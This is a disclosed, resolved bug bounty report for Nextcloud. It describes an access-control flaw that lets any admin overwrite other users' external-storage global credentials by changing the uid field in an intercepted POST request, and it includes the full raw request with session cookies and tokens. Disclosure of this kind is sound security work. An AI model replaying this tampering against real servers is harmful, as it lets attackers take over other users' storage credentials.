Admins can change authentication details of user configured external storage

Disclosed: 2023-12-21 05:17:43 By st0nzyy To nextcloud
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Vulnerability Details
## Summary: After some testing in nextcloud server, i found improper access control make users in admin group to change any "Global credentials" for admin/user external storage Note* this issue affect ```admin to admin & admin to user.``` ## Steps To Reproduce: - As a malicious admin user - Navigate to External storage - At the global credentials input any random valid credentials for example POC:anything - Intercept the following request ``` POST /nextcloud/index.php/apps/files_external/globalcredentials HTTP/1.1 Host: 192.168.56.103 Content-Length: 43 Accept: application/json, text/javascript, */*; q=0.01 requesttoken: fFwUgm3xqnKq1YBdX5pj8eskJP+6VwfEYSUkhdEbADE=:GQwn4z6nyTrCuOVtbe9Vg6pnfIf/HXezJhNU3P50bFQ= X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 OCS-APIREQUEST: true Content-Type: application/json Origin: http://192.168.56.103 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: oc_sessionPassphrase=B4MUb9O8t71%2BDkT%2FXpeTcrJgb5FoSTRXXKwlRJTJKQ027je%2F7KT2XbFCPs6hU4WgjzTv6iQ1GZfwvVXQ7QsiBM%2FJL5pKT8W4yj4ZU237V4yWGWCERO8hHjEYCnHSp671; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc6xi9hj9sei=irdv8ml4hrgm7gg57v104tj20t; nc_username=nvz; nc_token=o4gwXiPvdr4j3Ba7glzBLoN%2FdhDu6Uvo; nc_session_id=irdv8ml4hrgm7gg57v104tj20t Connection: close {"uid":"nvz","user":"nvz","password":"123"} ``` - Change the ```uid``` parameter to any other user or admin - As a result we notice the following response ```true``` - And by navigating to the user effected we notice the Global Credentials been changed ## Supporting Material/References: [list any additional material (e.g. screenshots, logs, etc.)] * [attachment / reference] https://docs.nextcloud.com/server/27/admin_manual/configuration_files/external_storage_configuration_gui.html#storage-configuration ## Impact users in admin group can change any "Global credentials" for admin/user external storage
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  • Report ID: 2107934
  • State: Closed
  • Substate: resolved
  • Upvotes: 26
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